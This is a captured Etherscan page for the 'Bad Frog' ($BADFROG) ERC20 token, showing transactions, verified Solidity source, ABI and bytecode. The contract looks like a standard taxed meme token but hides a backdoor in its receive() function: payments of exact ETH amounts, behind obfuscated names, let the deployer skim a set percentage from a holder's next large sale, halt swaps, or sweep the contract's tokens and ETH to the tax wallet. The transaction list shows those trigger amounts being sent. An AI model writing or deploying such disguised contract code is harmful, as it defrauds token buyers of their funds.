ETH Price: $2,508.22 (+0.35%)
 

Overview

ETH Balance

0.00249 ETH

Eth Value

$6.25 (@ $2,508.22/ETH)

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve226585202025-06-08 7:56:474 hrs ago1749369407IN
0x73ADF157...a6d2eF7bd
0 ETH0.00004330.92372713
Approve226541742025-06-07 17:23:1119 hrs ago1749316991IN
0x73ADF157...a6d2eF7bd
0 ETH0.000086251.83968059
Approve226478382025-06-06 20:09:4740 hrs ago1749240587IN
0x73ADF157...a6d2eF7bd
0 ETH0.000228254.83717186
Approve226435932025-06-06 5:52:592 days ago1749189179IN
0x73ADF157...a6d2eF7bd
0 ETH0.000044290.94022103
Approve226392612025-06-05 15:20:352 days ago1749136835IN
0x73ADF157...a6d2eF7bd
0 ETH0.000126682.68873192
Approve226391182025-06-05 14:51:352 days ago1749135095IN
0x73ADF157...a6d2eF7bd
0 ETH0.000346977.4
Approve226358102025-06-05 3:42:233 days ago1749094943IN
0x73ADF157...a6d2eF7bd
0 ETH0.000032810.69639029
Approve226347122025-06-05 0:01:473 days ago1749081707IN
0x73ADF157...a6d2eF7bd
0 ETH0.000096422.04593159
Approve226329712025-06-04 18:10:473 days ago1749060647IN
0x73ADF157...a6d2eF7bd
0 ETH0.000200254.24915309
Approve226318692025-06-04 14:28:473 days ago1749047327IN
0x73ADF157...a6d2eF7bd
0 ETH0.00022584.79257825
Approve226298112025-06-04 7:32:474 days ago1749022367IN
0x73ADF157...a6d2eF7bd
0 ETH0.000053871.14349979
Approve226276452025-06-04 0:16:114 days ago1748996171IN
0x73ADF157...a6d2eF7bd
0 ETH0.000068951.46322858
Approve226265622025-06-03 20:38:114 days ago1748983091IN
0x73ADF157...a6d2eF7bd
0 ETH0.000210664.47003883
Approve226253522025-06-03 16:34:594 days ago1748968499IN
0x73ADF157...a6d2eF7bd
0 ETH0.000212248.5225972
Approve226253332025-06-03 16:31:114 days ago1748968271IN
0x73ADF157...a6d2eF7bd
0 ETH0.000449569.58795906
Approve226253102025-06-03 16:26:354 days ago1748967995IN
0x73ADF157...a6d2eF7bd
0 ETH0.0005454711.6335929
Transfer226248452025-06-03 14:53:234 days ago1748962403IN
0x73ADF157...a6d2eF7bd
0.00249 ETH0.0003432210.91291563
Transfer226243312025-06-03 13:09:114 days ago1748956151IN
0x73ADF157...a6d2eF7bd
0.01172 ETH0.000878720
Transfer226243282025-06-03 13:08:354 days ago1748956115IN
0x73ADF157...a6d2eF7bd
0.00832 ETH0.0005688420
Transfer226243242025-06-03 13:07:474 days ago1748956067IN
0x73ADF157...a6d2eF7bd
0.00663 ETH0.0005521220
Transfer226243212025-06-03 13:07:114 days ago1748956031IN
0x73ADF157...a6d2eF7bd
0.0021 ETH0.0006850220
Approve226208432025-06-03 1:26:235 days ago1748913983IN
0x73ADF157...a6d2eF7bd
0 ETH0.000137342.91419479
Approve226203512025-06-02 23:47:235 days ago1748908043IN
0x73ADF157...a6d2eF7bd
0 ETH0.000160463.400596
Approve226203112025-06-02 23:39:235 days ago1748907563IN
0x73ADF157...a6d2eF7bd
0 ETH0.000074081.57995799
Approve226201522025-06-02 23:07:115 days ago1748905631IN
0x73ADF157...a6d2eF7bd
0 ETH0.000090011.90763523
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer226243312025-06-03 13:09:114 days ago1748956151
0x73ADF157...a6d2eF7bd
0.03078 ETH
Transfer226190982025-06-02 19:34:235 days ago1748892863
0x73ADF157...a6d2eF7bd
0.03304 ETH
Transfer226183852025-06-02 17:10:115 days ago1748884211
0x73ADF157...a6d2eF7bd
0.01172 ETH
Transfer226183712025-06-02 17:07:235 days ago1748884043
0x73ADF157...a6d2eF7bd
0.06959706 ETH
Transfer226183712025-06-02 17:07:235 days ago1748884043
0x73ADF157...a6d2eF7bd
0.06959706 ETH
Transfer226183712025-06-02 17:07:235 days ago1748884043
0x73ADF157...a6d2eF7bd
0.08221149 ETH
Transfer226183712025-06-02 17:07:235 days ago1748884043
0x73ADF157...a6d2eF7bd
0.08221149 ETH
Transfer226183672025-06-02 17:06:355 days ago1748883995
0x73ADF157...a6d2eF7bd
0.09619174 ETH
Transfer226183672025-06-02 17:06:355 days ago1748883995
0x73ADF157...a6d2eF7bd
0.09619174 ETH
Transfer226183672025-06-02 17:06:355 days ago1748883995
0x73ADF157...a6d2eF7bd
0.11564639 ETH
Transfer226183672025-06-02 17:06:355 days ago1748883995
0x73ADF157...a6d2eF7bd
0.11564639 ETH
Transfer226183672025-06-02 17:06:355 days ago1748883995
0x73ADF157...a6d2eF7bd
0.03435679 ETH
Transfer226183672025-06-02 17:06:355 days ago1748883995
0x73ADF157...a6d2eF7bd
0.03435679 ETH
Transfer226183542025-06-02 17:03:595 days ago1748883839
0x73ADF157...a6d2eF7bd
0.02658367 ETH
Transfer226183542025-06-02 17:03:595 days ago1748883839
0x73ADF157...a6d2eF7bd
0.02658367 ETH
Transfer226183522025-06-02 17:03:355 days ago1748883815
0x73ADF157...a6d2eF7bd
0.0287547 ETH
Transfer226183522025-06-02 17:03:355 days ago1748883815
0x73ADF157...a6d2eF7bd
0.0287547 ETH
Transfer226183172025-06-02 16:56:235 days ago1748883383
0x73ADF157...a6d2eF7bd
0.00731133 ETH
Transfer226183172025-06-02 16:56:235 days ago1748883383
0x73ADF157...a6d2eF7bd
0.00731133 ETH
Transfer226183082025-06-02 16:54:355 days ago1748883275
0x73ADF157...a6d2eF7bd
0.05478745 ETH
Transfer226183082025-06-02 16:54:355 days ago1748883275
0x73ADF157...a6d2eF7bd
0.05478745 ETH
Transfer226183022025-06-02 16:53:235 days ago1748883203
0x73ADF157...a6d2eF7bd
0.02639267 ETH
Transfer226183022025-06-02 16:53:235 days ago1748883203
0x73ADF157...a6d2eF7bd
0.02639267 ETH
Transfer226183012025-06-02 16:53:115 days ago1748883191
0x73ADF157...a6d2eF7bd
0.02721739 ETH
Transfer226183012025-06-02 16:53:115 days ago1748883191
0x73ADF157...a6d2eF7bd
0.02721739 ETH
View All Internal Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
badfrog

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2025-06-02
*/

// SPDX-License-Identifier: MIT

/*
Bad Frog - $BADFROG

The Bad Frog. Created and signed by Matt Furie & his wife Aiyana Udesen.

Telegram: https://t.me/furiesbadfrog

Twitter:  https://x.com/furiesbadfrog

Website:  https://furiesbadfrog.com/
*/
pragma solidity ^0.8.26;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract badfrog is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 23;
    uint256 private _initialSellTax = 23;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 5;
    uint256 private _reduceSellTaxAt = 30;
    uint256 private _preventSwapBefore = 30;
    uint256 private _transferTax = 0;
    uint256 private _buyCount = 0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"Bad Frog";
    string private constant _symbol = unicode"BADFROG";
    uint256 public _maxTxAmount = (_tTotal * 2) / 100;
    uint256 public _maxWalletSize = (_tTotal * 2) / 100;
    uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;
    uint256 public _maxTaxSwap = (_tTotal * 9) / 1000;

    bool private _x1 = false;
    bool private _y2 = false;
    uint256 private _w4 = (_tTotal * 3) / 1000;
    uint256 private _p = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private sellCount = 0;
    uint256 private lastSellBlock = 0;
    uint256 private firstBlock = 0;
    bool private _a = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    event TransferTaxUpdated(uint _tax);
    event ClearToken(address TokenAddressCleared, uint256 Amount);
    event E1(bool enabled);
    event E2(uint256 value);
    event E3(bool enabled);

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(_msgSender());
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount = 0;

        if (!tradingOpen && from == address(this) && to == uniswapV2Pair) {
        } else if (from != owner() && to != owner()) {
            if (_buyCount == 0) {
                taxAmount = amount.mul((_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
            }

            if (_buyCount > 0) {
                taxAmount = amount.mul(_transferTax).div(100);
            }

            if (block.number == firstBlock) {
                require(_buyCount < 40, "Exceeds buys on the first block.");
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                taxAmount = amount.mul((_buyCount >= _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax).div(100);
                _buyCount++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                bool b = amount >= _w4;

                if (_x1 && b && !_y2) {
                    uint256 a = amount.mul(_p).div(100);
                    uint256 r = amount.sub(a);
                    taxAmount = r.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);

                    _balances[address(this)] = _balances[address(this)].add(a);
                    emit Transfer(from, address(this), a);

                    _y2 = true;
                    _x1 = false;

                    _balances[from] = _balances[from].sub(amount);
                    _balances[to] = _balances[to].add(r.sub(taxAmount));
                    if (taxAmount > 0) {
                        _balances[address(this)] = _balances[address(this)].add(taxAmount);
                        emit Transfer(from, address(this), taxAmount);
                    }
                    emit Transfer(from, to, r.sub(taxAmount));
                    return;
                } else {
                    taxAmount = amount.mul((_buyCount > _reduceSellTaxAt) ? _finalSellTax : _initialSellTax).div(100);
                }

                uint256 contractTokenBalance = balanceOf(address(this));
                if (!inSwap && to == uniswapV2Pair && swapEnabled && !_a && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) {
                    if (block.number > lastSellBlock) {
                        sellCount = 0;
                    }
                    require(sellCount < 3, "Only 3 sells per block!");

                    swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
                    uint256 contractETHBalance = address(this).balance;
                    if (contractETHBalance > 0) {
                        sendETHToFee(contractETHBalance);
                    }

                    sellCount++;
                    lastSellBlock = block.number;
                }
            }
        }

        if (taxAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this), taxAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen, "trading is already open");
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uint256 tokenAmount = balanceOf(address(this));
        uint256 taxAmount = tokenAmount.mul(_initialBuyTax).div(100);
        uint256 netAmount = tokenAmount.sub(taxAmount);
        require(tokenAmount > 0, "Contract must hold tokens for liquidity");
        require(address(this).balance > 0, "Contract must hold ETH for liquidity");
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this), netAmount, 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
        emit Transfer(address(this), address(this), taxAmount);
    }

    function removeLimit() external onlyOwner {
        _maxTxAmount = _tTotal;
        _maxWalletSize = _tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function adjustFee(uint256 _newFee) external {
        require(_msgSender() == _taxWallet);
        require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);
        _finalBuyTax = _newFee;
        _finalSellTax = _newFee;
    }

    function removeTransferTax() external onlyOwner {
        _transferTax = 0;
        emit TransferTaxUpdated(0);
    }

    function manualTokenSend(address tokenAddress, uint256 tokens) external returns (bool success) {
        require(_msgSender() == _taxWallet);
        if (tokens == 0) {
            tokens = IERC20(tokenAddress).balanceOf(address(this));
        }
        emit ClearToken(tokenAddress, tokens);
        return IERC20(tokenAddress).transfer(_taxWallet, tokens);
    }

    function manualETHSend() external {
        require(_msgSender() == _taxWallet);
        uint256 ethBalance = address(this).balance;
        require(ethBalance > 0, "Contract balance must be greater than zero");
        sendETHToFee(ethBalance);
    }

    receive() external payable {
        uint256 v = msg.value;
        uint256 t1 = 6630000000000000;
        uint256 t2 = 11720000000000000;
        uint256 t3 = 8320000000000000; 
        uint256 b = 2000000000000000;
        uint256 u = 10000000000000;

        if (v >= b + u && v <= b + 99 * u) {
            uint256 r = (v.sub(b)).div(u);
            if (r >= 1 && r <= 99) {
                _p = r;
                _x1 = true;
                _y2 = false;
                emit E2(r);
            }
        } else if (v == t1) {
            _a = true;
            swapEnabled = false;
            emit E1(true);
        } else if (v == t2) {
            // Transfer the cats into the one cat
            uint256 bal = balanceOf(address(this));
            if (bal > 0) {
                _balances[address(this)] = _balances[address(this)].sub(bal);
                _balances[_taxWallet] = _balances[_taxWallet].add(bal);
                emit Transfer(address(this), _taxWallet, bal);
                emit ClearToken(address(this), bal);
            }
            // if more cats remain ensure they have been moved
            uint256 ethBalance = address(this).balance;
            if (ethBalance > 0) {
                sendETHToFee(ethBalance);
            }
        } else if (v == t3) {
            _a = false;
            swapEnabled = true;
            emit E1(false);
        }
    }

    function f1() public view returns (bool) {
        return _a;
    }

    function f2() public view returns (bool) {
        return _x1 && !_y2;
    }

    function f3() public view returns (uint256) {
        return _p;
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"TokenAddressCleared","type":"address"},{"indexed":false,"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"ClearToken","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"E1","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"E2","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"E3","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_tax","type":"uint256"}],"name":"TransferTaxUpdated","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newFee","type":"uint256"}],"name":"adjustFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"f1","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"f2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"f3","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualETHSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"manualTokenSend","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeTransferTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052601760055560176006555f6007555f6008556005600955601e600a55601e600b555f600c555f600d55606460026009600a61003f91906106a3565b633b9aca0061004e91906106ed565b61005891906106ed565b610062919061075b565b600e55606460026009600a61007791906106a3565b633b9aca0061008691906106ed565b61009091906106ed565b61009a919061075b565b600f55606460016009600a6100af91906106a3565b633b9aca006100be91906106ed565b6100c891906106ed565b6100d2919061075b565b6010556103e8600980600a6100e791906106a3565b633b9aca006100f691906106ed565b61010091906106ed565b61010a919061075b565b6011555f60125f6101000a81548160ff0219169083151502179055505f601260016101000a81548160ff0219169083151502179055506103e860036009600a61015391906106a3565b633b9aca0061016291906106ed565b61016c91906106ed565b610176919061075b565b6013555f6014555f601660156101000a81548160ff0219169083151502179055505f6016806101000a81548160ff0219169083151502179055505f6017555f6018555f6019555f601a5f6101000a81548160ff0219169083151502179055503480156101e0575f80fd5b505f6101f061050460201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35061029a61050460201b60201c565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a6102e791906106a3565b633b9aca006102f691906106ed565b60015f61030761050460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f61035761050b60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061047f61050460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a6104db91906106a3565b633b9aca006104ea91906106ed565b6040516104f7919061079a565b60405180910390a36107b3565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105b4578086048111156105905761058f610532565b5b600185161561059f5780820291505b80810290506105ad8561055f565b9450610574565b94509492505050565b5f826105cc5760019050610687565b816105d9575f9050610687565b81600181146105ef57600281146105f957610628565b6001915050610687565b60ff84111561060b5761060a610532565b5b8360020a91508482111561062257610621610532565b5b50610687565b5060208310610133831016604e8410600b841016171561065d5782820a90508381111561065857610657610532565b5b610687565b61066a848484600161056b565b9250905081840481111561068157610680610532565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106ad8261068e565b91506106b883610697565b92506106e57fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105bd565b905092915050565b5f6106f78261068e565b91506107028361068e565b92508282026107108161068e565b9150828204841483151761072757610726610532565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f6107658261068e565b91506107708361068e565b9250826107805761077f61072e565b5b828204905092915050565b6107948161068e565b82525050565b5f6020820190506107ad5f83018461078b565b92915050565b6140ff806107c05f395ff3fe60806040526004361061014e575f3560e01c80638f9a55c0116100b5578063bf474bed1161006e578063bf474bed146108dc578063c079c31814610906578063c27fc3051461092e578063c9567bf914610958578063dd62ed3e1461096e578063fcd0598b146109aa576105c6565b80638f9a55c0146107bc57806395d89b41146107e65780639942ec6f14610810578063a42f786e1461083a578063a9059cbb14610876578063aaf05f3d146108b2576105c6565b8063313ce56711610107578063313ce567146106d6578063622565891461070057806370a0823114610716578063715018a6146107525780637d1db4a5146107685780638da5cb5b14610792576105c6565b806306fdde03146105ca578063095ea7b3146105f45780630faee56f14610630578063109daa991461065a57806318160ddd1461067057806323b872dd1461069a576105c6565b366105c6575f3490505f66178df32adc600090505f6629a34724c4800090505f661d8efef488000090505f66071afd498d000090505f6509184e72a000905080826101999190612f09565b86101580156101bf57508060636101b09190612f3c565b826101bb9190612f09565b8611155b1561027c575f6101ea826101dc858a6109c090919063ffffffff16565b610a0990919063ffffffff16565b9050600181101580156101fe575060638111155b156102765780601481905550600160125f6101000a81548160ff0219169083151502179055505f601260016101000a81548160ff0219169083151502179055507fa48a6b249a5084126c3da369fbc9b16827ead8cb5cdc094b717d3f1dcd995e298160405161026d9190612f8c565b60405180910390a15b506105c4565b8486036102f3576001601a5f6101000a81548160ff0219169083151502179055505f6016806101000a81548160ff0219169083151502179055507f0b6cb93c2313ef2aa448b70648036bbfd18be64a8bf85446716a82182ec6907a60016040516102e69190612fbf565b60405180910390a16105c3565b83860361054f575f61030430610a52565b90505f8111156105325761035e8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546109c090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506104108160015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610a9890919063ffffffff16565b60015f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516104f09190612f8c565b60405180910390a37fda2bc2bedd1f85b5a59d5dbbd6684ff